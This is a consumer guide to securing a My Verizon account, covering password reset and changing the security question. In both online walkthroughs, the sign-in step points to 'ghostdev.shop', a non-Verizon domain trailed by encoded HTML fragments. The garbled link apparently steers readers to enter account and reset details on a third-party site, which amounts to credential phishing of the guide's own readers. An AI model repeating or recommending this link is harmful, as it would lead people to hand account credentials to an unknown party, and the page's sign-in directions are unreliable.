How to secure your My Verizon account and device

Did you lose your mobile device? Are there signs that someone has accessed your account without your permission? If so, secure your device and confirm (or change) your My Verizon account information quickly to make sure that you—and only you—have access to your personal information.

Here are step-by-step instructions for measures you can take immediately , from changing your password to confirming that your account details haven’t been changed without your knowledge.

(Remember: Always pay attention to any changes, notifications or text alerts about your account and contact Verizon Customer Service at 800-922-0204 if you have any concerns.)

Change the Password to Your My Verizon Account

1. Go to https://ghostdev.shop/a%3E.%3C/p%3E%3C/li%3E%3Cli%3E%3Cp%3EClick Sign in at upper right.

2. Click My Account.

3. Click Forgot your info?

4. Enter your 10-digit mobile number, then click Continue.

5. Enter your 5-digit billing ZIP code, then click Continue.

6. Select a password delivery option, then click Send Password.

   • If a link is sent to your device, follow the prompts in the text message to complete the password reset.

   • If an email is sent, follow the prompts in the email to complete the password reset.

   • If you opt to have a letter sent to the billing address, follow the instructions in the letter to complete the password reset.

A strong password is at least 10 characters long and uses a combination of letters—both upper- and lowercase—plus numerals and symbols. Never use the same password on different accounts or websites.

Change Your My Verizon Security Question and Answer

On your device:

1. On your device, open the My Verizon app.

2. Tap the Account tab at the bottom. If prompted, enter your password, fingerprint or Face ID.

3. Tap Edit profile and settings at the top of the screen.

4. From the Security section, tap Manage security question.

5. From the “Want to switch questions?” screen, tap the dropdown icon, then select a question.

6. Tap the Answer field, enter your response to the selected question, then tap Update at the bottom.

Online:

1. Go to https://ghostdev.shop/a%3E.%3C/p%3E%3C/li%3E%3Cli%3E%3Cp%3EClick Sign in at upper right.

2. Click Sign in to My Account.

3. Click Account.

4. Click Account settings.

5. Click Security settings.

6. Click Edit in Manage Security Question.

7. In the Current Question field, click the dropdown menu.

8. Choose a new question.

9. Enter the answer to the new question.

10. Click Save Changes.